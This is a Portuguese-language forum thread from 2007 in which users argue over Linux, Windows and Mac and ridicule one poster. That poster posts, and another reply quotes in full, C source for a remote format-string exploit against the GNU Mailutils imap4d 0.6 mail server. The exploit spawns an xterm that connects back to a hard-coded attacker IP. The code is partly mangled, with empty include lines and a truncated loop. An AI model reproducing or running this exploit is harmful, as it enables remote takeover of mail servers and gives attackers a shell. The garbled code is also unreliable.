Linux e desculpa dos noobs!

Started by calejo, April 23, 2007, 10:37:42 AM

Previous topic - Next topic

masterhard

QuoteQuando estava para arranjar um portátil, o cenourinha disse para eu arranjar um Mac.

Mas acabei por comprar um com o Windows porque preciso deste para poder simular circuitos e trabalhar com o MATLAB e o ORCAD, programas essenciais no meu curso de Electrónica.

O cenourinha respeitou a minha decisão e não me incomodou mais com isso. O binarius tem razão. Cada um deve usar o sistema operativo que lhe for mais conveniente para aquilo que precisa de fazer.

Eu esta semana instalei o Ubuntu para experimentar e não estou a dizer que o Windows não presta. É possível coexistirem ao mesmo tempo.

no caso da electronica, encontrei algum software pra windows jeitoso,mas o que me ta a confundir a cabeca e que nao conheco nenhum tecnico de electronica que use windows, sei que deve haver 1 minoria, porque programas existem, so que faz-me confusao na mesma :/
sera mesmo verdade que a maioria dos electronicos usam linux? :/
Se o mundo te virar costas, nao vires costas ao mundo, vai-lhe ao cu!
Se a Muralha da China pegasse fogo, seria a maior firewall do Mundo!
blacksheep-----fake hosting services since 1$ only for fake businessman----sponsored by ASAE
Oferecemos Cursos de Coveiro WebTuga --> O primeiro em Portugal com MBA da Independente incorporado
"Well, I guess it would be nice if I could touch your body" --George Michael\'s \'Faith\'
Sing these words in a recording studio, and you win Album of the Year. Say them in a public bathroom, and you get busted.
The basic difference is this: hackers build things, crackers break them.
O novo Windows será o Se7en. Será uma sequela do famoso filme de terror Se7en?
MADNESS?? THIS Is SPARTTTAAAAAAAAAAAAAAAAAAAAA!!!!!!!!!!
Sponsored by InTeRnEt SeRiOuS BuSiNeSs and MiCrOsOfT SeRiOuS BuSiNeSs!
MCSE -> Minesweeper Consultant and Solitaire Expert
VISTA -> Virus Infection and Spyware Transmission Architecture

tico

Eu hoje tive a testar o novo ubuntu e estavame a bloquear de 5 em 5 minutos.. Que se passa? Estou a usar ubuntu 64bits!

Mas em principio ainda hoje ei de testar o alinex! Não sei se e grande coisa mas não custa testar..

masterhard

QuoteEu hoje tive a testar o novo ubuntu e estavame a bloquear de 5 em 5 minutos.. Que se passa? Estou a usar ubuntu 64bits!

Mas em principio ainda hoje ei de testar o alinex! Não sei se e grande coisa mas não custa testar..  

o alinex nao esta uma coisa por ai alem, eu vendo portateis com alinex (sob a marca citydesk) a propria solbi vende desktops com alinex, se quiseres ver, http://www.solbi.pt/, a solbi e um fabricante portugues que vende o seu proprio produto sobre a marca citydesk, um fabricante posto de parte pelo governo,que poderia ter rendido aos cofres do estado milhoes de euros...mas NAAAA!! venham os acers pra ser mais dispendioso pro estado!!!e pra nos!!

http://www.citydesk.pt/
tens ai logo no inicio da pagina o alinex 8000x
para o user comum, serve perfeitamente o sistema, pra pessoas mais exigentes, acho preferivel o ubuntu.
 :wink:
Se o mundo te virar costas, nao vires costas ao mundo, vai-lhe ao cu!
Se a Muralha da China pegasse fogo, seria a maior firewall do Mundo!
blacksheep-----fake hosting services since 1$ only for fake businessman----sponsored by ASAE
Oferecemos Cursos de Coveiro WebTuga --> O primeiro em Portugal com MBA da Independente incorporado
"Well, I guess it would be nice if I could touch your body" --George Michael\'s \'Faith\'
Sing these words in a recording studio, and you win Album of the Year. Say them in a public bathroom, and you get busted.
The basic difference is this: hackers build things, crackers break them.
O novo Windows será o Se7en. Será uma sequela do famoso filme de terror Se7en?
MADNESS?? THIS Is SPARTTTAAAAAAAAAAAAAAAAAAAAA!!!!!!!!!!
Sponsored by InTeRnEt SeRiOuS BuSiNeSs and MiCrOsOfT SeRiOuS BuSiNeSs!
MCSE -> Minesweeper Consultant and Solitaire Expert
VISTA -> Virus Infection and Spyware Transmission Architecture

tico

Eu não gostei muito do ubuntu, os meus olhos começaram a arder, talves seja o contraste das cores...

agfrg

Olha tanto noob que para aqui anda! Até me admira como é que não rebentaram com o disco ao particioná-lo.

E ele ah e tal, Windows Vista é todo bom pois é todo aereo.

Filho, tenho um PC com um AMD K6-II a 533 MHz, com 62 MB de RAM e 8 GB de disco, com uma placa integrada VIA que me suga 16 MB da RAM no seu maximo a correr a mais recente versão do Ubuntu e o gajo ainda consegue dar uns toques no Beryl, que só por acaso dá um bailinho da Madeira ao Aereo (deve ser o novo avião da JavardAir).

Mas quem é o pro que tem material "topo de gama" quando não precisa? E porque é que "topo de gama" aparece entre aspas? Porque processadores topo de gama a 3GHz actualmente só existe um e só a Apple é que o usa (PS: não me lembrava que ele era Quad-Core), portanto só resta a opção Pentium D (os AMD nunca precisaram de velocidades tão grandes para dar tau-tau no rabiosque dos Pentium D ), que não passa de dois Pentium 4 colados numa caixa (chama-se a isto "topo de gama"? pensava que isso era um Core 2 Duo), Pentium 4 esse que também é uma grande bosta.

Fala-se de movimentos anti-windows... Mais de metade das pessoas que compra um Mac (não tenho dados de Linux) são pessoas vindas do Windows. Duvido que venham dele só porque o Mac é bonito (também existem PC muito bem desenhados), tal como duvido que alguém normal se queira adaptar a um novo SO como projecto de fim-de-semana, até porque ao inicio, Mac OS pode ser um pouco complicado. Logo, parece-me a mim que mudam para Mac (falando neste caso concreto) porque o Windows dá bosta constantemente. E penso mesmo que muitas dessas pessoas que mudam para Mac não mudaram para Linux porque ninguém lho deu a conhecer (como todos aqui no fórum sabem, sou bastante apologista dos Mac, mas também aprecio um bom Linux - curiosidade: dois SO com base em *nix).

A mim parece-me que aquela coisa a que chamam registo é do Século passado, está demodé. Um toquezito ao lado lá e o gajo foi-se, solução: Format C:. Tá bem que com o kernel é a mesma coisa mas ninguém no seu perfeito juizo mexe no kernel (Sim porque se perguntares a um utilizador Mac normal (não é ao cenourinha) o que é um kernel, ele diz: cãe?, e os utilizadores linux não são noobs, são pessoas que percebem mais de informatica que tu).

E quem diz "sou todo bom porque tenho o Windows a correr há 53 dias", o meu só não corre mais pois faz barulho demais SEM FAZER ABSOLUTAMENTE NADA.

Mas porque é que a maioria dos alunos de cursos universitários de Informatica não usa Windows? Também serão noobs?

Porque é que o mercado dos servidores é dominado pelos *nix? É porque são inseguros?

Fala-se em instalações... Eu nunca instalei um Windows na vida (e já fiz vários formats ao C, mas o santo CD de restauro evita que eu perca duas ou mais horas da minha vida numa coisa que ele faz em 10 minutos), mas sei de um amigo meu que instalou e demorou uma noite inteira a instalar (o PC dele e quase igual ao meu), eu instalo Ubuntu em 15 minutos e Mac OS X (como é obvio OSx86) em 45, isto com menos de 5 minutos para configurar a instalação.

Falava-se também em programação... Nunca tentei nada além de VB (muito basico, criei um browser para provarao KTchayon que era possivel criar um em Windows sem usar libraries extra, mas ele colou-me na tromba o facto de o meu browser ter 10X mais bytes que o dele para Mac e que o .NET era de facto uma library extra) e HTML (adoro pegar no frontpage nas aulas de TIC e dar bailinho ao meu stor que nem criar uma página no Sapo sabe), mas sei muito bem que a filosofia do programador é *nix.

Falava-se também de exploits... se for como o Podlozo (primeiro virus para iPod, mas so para os que têm Lunux) que tem que ser instalado na maquina pelo utilizador e corrido pelo utilizador, estamos quase a dominar o mundo, pois todo o user gosta de ter um bom virus na sua maquina.

Outro ponto que se falava era os programas. Mais uma vez vou pegar na minha area preferida (Mac) para me justificar. Apenas programas muito especificos é que não existem para Mac, e programas como o próprio Office são melhores em Mac do que em Windows. E os programas que não existem podem ser corridos numa coisa linda chamada CrossOver. Os que o CrossOver não suportam podem ser instalados em máquinas virtuais de Windows, como o Parallels, que quem conhece sabe que actualmente não se limita só a uma janela nem ao modo fullscreen, mas possibilita ter o ambiente Windows a viver lado a lado com o ambiente Mac.

Chegado ao fim do meu testamento, não sei que mais argumentos invalidos posso dar para justificar a minha noobice e a dos outros.

agfrg

E claro, o nome do tópico: "O Senhor do Aereo 1: A Irmandade do Nix"

calejo

Quotee os utilizadores linux não são noobs, são pessoas que percebem mais de informatica que tu).
queres me vir tu ensinar a ter 19\\'s no mestrado.. Segundo e verdade tudo o que disses-te, os exploit\\'s pus velhos de proposito aqui vai uns mais recentes não sei se foram corrigidos hoje ou não.

GNU Mailutils imap4d 0.6 Remote(exec-shield)
#include

#include

#include

#include

#include

#include



#define DEF_STR "x0x"

#define PORT 143



#define DF_SFLAG 11

#define DF_OFFSET 29

#define DTOR_END_ADDR 0x08059268

#define DO_SYSTEM 0x828282

#define SHELL 0x3b6873

#define DEF_DO_SYSTEM_OFFSET 0x1fbf9

#define GET_DO_SYSTEM_SFLAG 38



#define XHOST_IP "82.82.82.82"



void banrl();

void usage();

void re_connt(int sock);

int setsock(char *host,int port);





long xterm_shell[]={ // do_system("xterm -di ip_addr");

0x7478,0x7265,

0x206d,0x642d,

0x2069,0x4141, /* IP address */

0x4141,0x4141,

0x4141,0x4141,

0x303a,0x0000

};

int xterm_ip_count=5;





int get_10_ip(char *ipbuf){

char tbuf[32];

int i=0;

unsigned long ip,ip1,ip2,ip3,ip4;

ip=ip1=ip2=ip3=ip4;



sscanf(ipbuf,"%d.%d.%d.%d",&ip1,&ip2,&ip3,&ip4);

#define IP1 16777216

#define IP2 65536

#define IP3 256

ip=0;

ip+=ip1 * (IP1);

ip+=ip2 * (IP2);

ip+=ip3 * (IP3);

ip+=ip4;



memset((char *)ipbuf,0,256);

sprintf(ipbuf,"%lu",ip);

xterm_ip_count=5;



for(i=0;i<10;i+=2){

memset((char *)tbuf,0,sizeof(tbuf));

snprintf(tbuf,sizeof(tbuf)-1,"0x%02x%02x",ipbuf[i+1],ipbuf[i]);



ip=strtoul(tbuf,NULL,0);

xterm_shell[xterm_ip_count++]=ip;

}

return 0;

}



int send_exploit_code(int sock,unsigned long retloc,unsigned long retaddr,int sflag){

char buf[1024];

int i=0;



memset((char *)buf,0,sizeof(buf));

snprintf(buf,sizeof(buf)-1,"1 search topic x");

i=strlen(buf);

*(long *)&buf[i]=retloc;

i+=4;

if(retaddr==0){

retaddr+=0x10000;

}

sprintf(buf+i,"%%%lux%%%d$nn",retaddr-i-DF_OFFSET,sflag);



send(sock,buf,strlen(buf),0);

memset(buf,0,sizeof(buf));

while(recv(sock,buf,sizeof(buf)-1,0)){

if(strstr(buf,")")){

break;

}

}

return 0;

}



int main(int argc,char *argv[]){

int sflag=DF_SFLAG;

unsigned long do_system_addr=DO_SYSTEM;

unsigned long retloc=DTOR_END_ADDR;

unsigned long shaddr=SHELL;

char host[256]=DEF_STR;

int port=PORT;

extern char *optarg;

int sock,i,r=0;

char buf[1024];

char user[256]=DEF_STR;

char pass[256]=DEF_STR;

char *ptr=NULL;

char xhost_ip_buf[256]=XHOST_IP;



get_10_ip(xhost_ip_buf);



memset((char *)buf,0,sizeof(buf));

memset((char *)user,0,sizeof(user));

memset((char *)pass,0,sizeof(pass));



(void)banrl();

while((sock=getopt(argc,argv,"R:r:D:d:H:h:P:p:F:f:I:i:U:u:S:s:"))!=EOF){

switch(sock){

case \\'R\\':

case \\'r\\':

retloc=strtoul(optarg,NULL,0);

break;

case \\'D\\':

case \\'d\\':

do_system_addr=strtoul(optarg,NULL,0);

break;

case \\'H\\':

case \\'h\\':

memset((char *)host,0,sizeof(host));

strncpy(host,optarg,sizeof(host)-1);

break;

case \\'P\\':

case \\'p\\':

port=atoi(optarg);

break;

case \\'F\\':

case \\'f\\':

sflag=atoi(optarg);

break;

case \\'I\\':

case \\'i\\':

memset((char *)xhost_ip_buf,0,sizeof(xhost_ip_buf));

strncpy(xhost_ip_buf,optarg,sizeof(xhost_ip_buf)-1);

get_10_ip(xhost_ip_buf);

break;

case \\'U\\':

case \\'u\\':

memset((char *)user,0,sizeof(user));

strncpy(user,optarg,sizeof(user)-1);

break;

case \\'S\\':

case \\'s\\':

memset((char *)pass,0,sizeof(pass));

strncpy(pass,optarg,sizeof(pass)-1);

break;

case \\'?\\':

default:

(void)usage(argv[0]);

break;

}

}

if(!strcmp(host,DEF_STR)||!strcmp(user,DEF_STR)||!strcmp(pass,DEF_STR)){

(void)usage(argv[0]);

}



fprintf(stdout," [+] make socket.n");

fprintf(stdout," [+] host: %s.n",host);

fprintf(stdout," [+] port: %d.n",port);

sock=setsock(host,port);

re_connt(sock);



recv(sock,buf,sizeof(buf)-1,0);

if(strstr(buf,"IMAP4rev1")){

fprintf(stdout," [+] OK, IMAP4rev1.n");

}

else {

fprintf(stdout," [-] Ooops, no match.nn");

close(sock);

exit(-1);

}



memset((char *)buf,0,sizeof(buf));

snprintf(buf,sizeof(buf)-1,"1 login "%s" "%s"n",user,pass);

send(sock,buf,strlen(buf),0);

memset((char *)buf,0,sizeof(buf));

while(recv(sock,buf,sizeof(buf)-1,0)){

if(strstr(buf," Completed")){

fprintf(stdout," [+] login completed.n");

break;

}

else if(strstr(buf," rejected")){

fprintf(stdout," [-] login failed.nn");

exit(-1);

}

}



memset((char *)buf,0,sizeof(buf));

snprintf(buf,sizeof(buf)-1,"1 select "inbox"n");

send(sock,buf,strlen(buf),0);

memset((char *)buf,0,sizeof(buf));

while(recv(sock,buf,sizeof(buf)-1,0)){

if(strstr(buf," Completed")){

fprintf(stdout," [+] select success.n");

break;

}

else if(strstr(buf," NO SELECT")){

fprintf(stdout," [-] select failed.nn");

exit(-1);

}

}





/* get, do_system address */

fprintf(stdout," [+] find do_system address.n");

memset((char *)buf,0,sizeof(buf));

snprintf(buf,sizeof(buf)-1,"1 search topic |%%%d$x|n",GET_DO_SYSTEM_SFLAG);

send(sock,buf,strlen(buf),0);

memset((char *)buf,0,sizeof(buf));

recv(sock,buf,sizeof(buf)-1,0);

if(strstr(buf,"|")){

ptr=(char *)strstr(buf,"|");

sscanf(ptr,"|%x|n",&do_system_addr);

}

do_system_addr-=DEF_DO_SYSTEM_OFFSET;



fprintf(stdout," [+] make exploit code.n");

fprintf(stdout," [+] retloc address: %p.n",retloc);

fprintf(stdout," [+] do_system address: %p.n",do_system_addr);

fprintf(stdout," [+] send exploit code.n");



send_exploit_code(sock,retloc,do_system_addr,sflag);

for(i=0,r=4;ih_addr);

bzero(&(x82_addr.sin_zero),8);

 

if(connect(sock,(struct sockaddr *)&x82_addr,sizeof(struct sockaddr))==EOF)

{

return(-1);

}

return(sock);

}

Eu não pus exploit\\'s actuais porque hoje em dia qualquer um aproveita-se disso para dar cavo do próximo, e sim linux e um exelente sistema operativo para programação, quanto a mac ja tive ocasião de mecher em varios mas nunca tive ninhum, e ja pedi desculpa por vos ter chatiado,mas precisava de entregar um projecto sobre os adolescentes e a ligaçao com o cybermundo, só há uma coisa que não concordo, muito falam da importancia dos projectos open source (não tenho nada contra) mas se analizar-mos ao promenor as estaticas, existe uma maior probablidade  de encontrar um exploit numa aplicaçao open source (como o caso do phpbb que tem exploit consecutivos) do que numa aplicaçao de codigo fechado o caso do Vbulletin, embora existam nao são em tantas quantidades como no phpbb.

Ghetto_Smurf

QuoteEu não pus exploit\\'s actuais porque hoje em dia qualquer um aproveita-se disso para dar cavo do próximo, e sim linux e um exelente sistema operativo para programação, quanto a mac ja tive ocasião de mecher em varios mas nunca tive ninhum, e ja pedi desculpa por vos ter chatiado,mas precisava de entregar um projecto sobre os adolescentes e a ligaçao com o cybermundo, só há uma coisa que não concordo, muito falam da importancia dos projectos open source (não tenho nada contra) mas se analizar-mos ao promenor as estaticas, existe uma maior probablidade  de encontrar um exploit numa aplicaçao open source (como o caso do phpbb que tem exploit consecutivos) do que numa aplicaçao de codigo fechado o caso do Vbulletin, embora existam nao são em tantas quantidades como no phpbb.

E uma maior probabilidade de ser corrigido no dia, já que qualquer um pode corrigir e submeter para uso livre, ao invés do software proprietario

scotty

Quote
Quotee os utilizadores linux não são noobs, são pessoas que percebem mais de informatica que tu).
queres me vir tu ensinar a ter 19\\'s no mestrado.. Segundo e verdade tudo o que disses-te, os exploit\\'s pus velhos de proposito aqui vai uns mais recentes não sei se foram corrigidos hoje ou não.

Eu não pus exploit\\'s actuais porque hoje em dia qualquer um aproveita-se disso para dar cavo do próximo, e sim linux e um exelente sistema operativo para programação, quanto a mac ja tive ocasião de mecher em varios mas nunca tive ninhum, e ja pedi desculpa por vos ter chatiado,mas precisava de entregar um projecto sobre os adolescentes e a ligaçao com o cybermundo, só há uma coisa que não concordo, muito falam da importancia dos projectos open source (não tenho nada contra) mas se analizar-mos ao promenor as estaticas, existe uma maior probablidade  de encontrar um exploit numa aplicaçao open source (como o caso do phpbb que tem exploit consecutivos) do que numa aplicaçao de codigo fechado o caso do Vbulletin, embora existam nao são em tantas quantidades como no phpbb.

Pelo tópico que abriste, penso que nem em 20 anos e eram capaz de ensinar a tirar 19 no mestrado.
Já agora só um noob desnaturado e sem miolos era capaz de vir dizer, em publico algumas barbáries que disseste lol lol.
Eu posso ser noob e sou, lol (não uso windows, pelo menos normalmente), mas até um noob dos mais novinhos consegue ver que não disseste nada de geito lol.

bOLT

[quote name=\'calejo]
Quote from: agfrgestamos quase a dominar o mundo\' date=\' pois todo o user gosta de ter um bom virus na sua maquina. [/quote\']

"nessa tua dramática limitação mental,
ainda acreditas que a rádio e esses canais de música
têm algum critério de qualidade..." Pela Música Pt.1

calejo

Não ja expliquei que isto tudo foi para um relatório, andei na universidade de aveiro.

_sanchaz_

LOL universidade de aveiro diz mas e a tua idade verdadeira!!! diz uma coisa verdadeira pelo menos uma vez na tua vida
pa ate ja me irritas com tantas mentiras!!!
Tu ainda nem acabaste o SECUNDARIO!!!
Qual universidade qual que. lol

AlojaImagem - O seu host de imagens na web 100% Nacional| Alojamento de imagens até 2MB

JCaco

QuoteEu não gostei muito do ubuntu, os meus olhos começaram a arder, talves seja o contraste das cores...
Muda a resolução, foi o que eu fiz.


Quotese tu tiraste 19 no mestrado é porque andaste na universadade independente.


Tenho convites Lockerz para dar

asc

Eu hj em dia vejo tantos 1337\\'s que até me sinto abaixo de lamer

Isto é cómico lol

trmanco

Este gajo anda no 10Ã,º ano pah....qual metrado qual que.... :?  :evil:

tiagotex

este gajo pelo que parece só diz mentiras na outra conversa que teve com _sanchaz_ a dizer que o lusovista ia estar off e que até quando ele quiser-se e depois o _sanchaz_ disse que estava on e ele eventou uma desculpa, depois mete exploids a gabar-se e quando dizem que aquilo não funciona ele diz que são antigos, etc.
eu já não acredito em nada do que ele diga

trmanco

Só por acaso...este último exploit funciona??? :?:  :?:

tico

Deixem o rapaz em paz... Ele ate percebe algumas coisas de informatica, a conversa ja esta fora do assuntu, por isso acho melhor bloquear!

Quando um moderador tiver tempo, secalhar bloquear este topico não era ma ideia...

peace and love

Navyseal

Quote(como o caso do phpbb que tem exploit consecutivos) do que numa aplicaçao de codigo fechado o caso do Vbulletin, embora existam nao são em tantas quantidades como no phpbb.

Se tu proprio dizes que é o mais o usado, é obvio que vai ser o melhor alvo de exploits duh, lá porque é open source não quer dizer que seja imune, quer dizer que qualquer um pode editar o codigo e as exploits sao detectadas numa questão de horas, ao passo que no codigo fechado pode levar semanas ou mesmo meses até que encontrem a vulnerabilidade que anda a ser explorada.
Já conheces o meu novo blog? http://slayeralfa.blogspot.com

masterhard

Quote
Quotee os utilizadores linux não são noobs, são pessoas que percebem mais de informatica que tu).
queres me vir tu ensinar a ter 19\\'s no mestrado.. Segundo e verdade tudo o que disses-te, os exploit\\'s pus velhos de proposito aqui vai uns mais recentes não sei se foram corrigidos hoje ou não.

GNU Mailutils imap4d 0.6 Remote(exec-shield)
#include

#include

#include

#include

#include

#include



#define DEF_STR "x0x"

#define PORT 143



#define DF_SFLAG 11

#define DF_OFFSET 29

#define DTOR_END_ADDR 0x08059268

#define DO_SYSTEM 0x828282

#define SHELL 0x3b6873

#define DEF_DO_SYSTEM_OFFSET 0x1fbf9

#define GET_DO_SYSTEM_SFLAG 38



#define XHOST_IP "82.82.82.82"



void banrl();

void usage();

void re_connt(int sock);

int setsock(char *host,int port);





long xterm_shell[]={ // do_system("xterm -di ip_addr");

0x7478,0x7265,

0x206d,0x642d,

0x2069,0x4141, /* IP address */

0x4141,0x4141,

0x4141,0x4141,

0x303a,0x0000

};

int xterm_ip_count=5;





int get_10_ip(char *ipbuf){

char tbuf[32];

int i=0;

unsigned long ip,ip1,ip2,ip3,ip4;

ip=ip1=ip2=ip3=ip4;



sscanf(ipbuf,"%d.%d.%d.%d",&ip1,&ip2,&ip3,&ip4);

#define IP1 16777216

#define IP2 65536

#define IP3 256

ip=0;

ip+=ip1 * (IP1);

ip+=ip2 * (IP2);

ip+=ip3 * (IP3);

ip+=ip4;



memset((char *)ipbuf,0,256);

sprintf(ipbuf,"%lu",ip);

xterm_ip_count=5;



for(i=0;i<10;i+=2){

memset((char *)tbuf,0,sizeof(tbuf));

snprintf(tbuf,sizeof(tbuf)-1,"0x%02x%02x",ipbuf[i+1],ipbuf[i]);



ip=strtoul(tbuf,NULL,0);

xterm_shell[xterm_ip_count++]=ip;

}

return 0;

}



int send_exploit_code(int sock,unsigned long retloc,unsigned long retaddr,int sflag){

char buf[1024];

int i=0;



memset((char *)buf,0,sizeof(buf));

snprintf(buf,sizeof(buf)-1,"1 search topic x");

i=strlen(buf);

*(long *)&buf[i]=retloc;

i+=4;

if(retaddr==0){

retaddr+=0x10000;

}

sprintf(buf+i,"%%%lux%%%d$nn",retaddr-i-DF_OFFSET,sflag);



send(sock,buf,strlen(buf),0);

memset(buf,0,sizeof(buf));

while(recv(sock,buf,sizeof(buf)-1,0)){

if(strstr(buf,")")){

break;

}

}

return 0;

}



int main(int argc,char *argv[]){

int sflag=DF_SFLAG;

unsigned long do_system_addr=DO_SYSTEM;

unsigned long retloc=DTOR_END_ADDR;

unsigned long shaddr=SHELL;

char host[256]=DEF_STR;

int port=PORT;

extern char *optarg;

int sock,i,r=0;

char buf[1024];

char user[256]=DEF_STR;

char pass[256]=DEF_STR;

char *ptr=NULL;

char xhost_ip_buf[256]=XHOST_IP;



get_10_ip(xhost_ip_buf);



memset((char *)buf,0,sizeof(buf));

memset((char *)user,0,sizeof(user));

memset((char *)pass,0,sizeof(pass));



(void)banrl();

while((sock=getopt(argc,argv,"R:r:D:d:H:h:P:p:F:f:I:i:U:u:S:s:"))!=EOF){

switch(sock){

case \\'R\\':

case \\'r\\':

retloc=strtoul(optarg,NULL,0);

break;

case \\'D\\':

case \\'d\\':

do_system_addr=strtoul(optarg,NULL,0);

break;

case \\'H\\':

case \\'h\\':

memset((char *)host,0,sizeof(host));

strncpy(host,optarg,sizeof(host)-1);

break;

case \\'P\\':

case \\'p\\':

port=atoi(optarg);

break;

case \\'F\\':

case \\'f\\':

sflag=atoi(optarg);

break;

case \\'I\\':

case \\'i\\':

memset((char *)xhost_ip_buf,0,sizeof(xhost_ip_buf));

strncpy(xhost_ip_buf,optarg,sizeof(xhost_ip_buf)-1);

get_10_ip(xhost_ip_buf);

break;

case \\'U\\':

case \\'u\\':

memset((char *)user,0,sizeof(user));

strncpy(user,optarg,sizeof(user)-1);

break;

case \\'S\\':

case \\'s\\':

memset((char *)pass,0,sizeof(pass));

strncpy(pass,optarg,sizeof(pass)-1);

break;

case \\'?\\':

default:

(void)usage(argv[0]);

break;

}

}

if(!strcmp(host,DEF_STR)||!strcmp(user,DEF_STR)||!strcmp(pass,DEF_STR)){

(void)usage(argv[0]);

}



fprintf(stdout," [+] make socket.n");

fprintf(stdout," [+] host: %s.n",host);

fprintf(stdout," [+] port: %d.n",port);

sock=setsock(host,port);

re_connt(sock);



recv(sock,buf,sizeof(buf)-1,0);

if(strstr(buf,"IMAP4rev1")){

fprintf(stdout," [+] OK, IMAP4rev1.n");

}

else {

fprintf(stdout," [-] Ooops, no match.nn");

close(sock);

exit(-1);

}



memset((char *)buf,0,sizeof(buf));

snprintf(buf,sizeof(buf)-1,"1 login "%s" "%s"n",user,pass);

send(sock,buf,strlen(buf),0);

memset((char *)buf,0,sizeof(buf));

while(recv(sock,buf,sizeof(buf)-1,0)){

if(strstr(buf," Completed")){

fprintf(stdout," [+] login completed.n");

break;

}

else if(strstr(buf," rejected")){

fprintf(stdout," [-] login failed.nn");

exit(-1);

}

}



memset((char *)buf,0,sizeof(buf));

snprintf(buf,sizeof(buf)-1,"1 select "inbox"n");

send(sock,buf,strlen(buf),0);

memset((char *)buf,0,sizeof(buf));

while(recv(sock,buf,sizeof(buf)-1,0)){

if(strstr(buf," Completed")){

fprintf(stdout," [+] select success.n");

break;

}

else if(strstr(buf," NO SELECT")){

fprintf(stdout," [-] select failed.nn");

exit(-1);

}

}





/* get, do_system address */

fprintf(stdout," [+] find do_system address.n");

memset((char *)buf,0,sizeof(buf));

snprintf(buf,sizeof(buf)-1,"1 search topic |%%%d$x|n",GET_DO_SYSTEM_SFLAG);

send(sock,buf,strlen(buf),0);

memset((char *)buf,0,sizeof(buf));

recv(sock,buf,sizeof(buf)-1,0);

if(strstr(buf,"|")){

ptr=(char *)strstr(buf,"|");

sscanf(ptr,"|%x|n",&do_system_addr);

}

do_system_addr-=DEF_DO_SYSTEM_OFFSET;



fprintf(stdout," [+] make exploit code.n");

fprintf(stdout," [+] retloc address: %p.n",retloc);

fprintf(stdout," [+] do_system address: %p.n",do_system_addr);

fprintf(stdout," [+] send exploit code.n");



send_exploit_code(sock,retloc,do_system_addr,sflag);

for(i=0,r=4;ih_addr);

bzero(&(x82_addr.sin_zero),8);

 

if(connect(sock,(struct sockaddr *)&x82_addr,sizeof(struct sockaddr))==EOF)

{

return(-1);

}

return(sock);

}

Eu não pus exploit\\'s actuais porque hoje em dia qualquer um aproveita-se disso para dar cavo do próximo, e sim linux e um exelente sistema operativo para programação, quanto a mac ja tive ocasião de mecher em varios mas nunca tive ninhum, e ja pedi desculpa por vos ter chatiado,mas precisava de entregar um projecto sobre os adolescentes e a ligaçao com o cybermundo, só há uma coisa que não concordo, muito falam da importancia dos projectos open source (não tenho nada contra) mas se analizar-mos ao promenor as estaticas, existe uma maior probablidade  de encontrar um exploit numa aplicaçao open source (como o caso do phpbb que tem exploit consecutivos) do que numa aplicaçao de codigo fechado o caso do Vbulletin, embora existam nao são em tantas quantidades como no phpbb.


desculpa, mas gente com 19 no mestrado sao os primeiros a irem pro olho da rua!it sucks!  :evil:

porque? nao pescam nada do que se lhes diz, nao sabem escrever sem erros ortograficos,CRASSOS!, nao sabem do que falam, sao uns cabecudos do caralho!
 :|
Se o mundo te virar costas, nao vires costas ao mundo, vai-lhe ao cu!
Se a Muralha da China pegasse fogo, seria a maior firewall do Mundo!
blacksheep-----fake hosting services since 1$ only for fake businessman----sponsored by ASAE
Oferecemos Cursos de Coveiro WebTuga --> O primeiro em Portugal com MBA da Independente incorporado
"Well, I guess it would be nice if I could touch your body" --George Michael\'s \'Faith\'
Sing these words in a recording studio, and you win Album of the Year. Say them in a public bathroom, and you get busted.
The basic difference is this: hackers build things, crackers break them.
O novo Windows será o Se7en. Será uma sequela do famoso filme de terror Se7en?
MADNESS?? THIS Is SPARTTTAAAAAAAAAAAAAAAAAAAAA!!!!!!!!!!
Sponsored by InTeRnEt SeRiOuS BuSiNeSs and MiCrOsOfT SeRiOuS BuSiNeSs!
MCSE -> Minesweeper Consultant and Solitaire Expert
VISTA -> Virus Infection and Spyware Transmission Architecture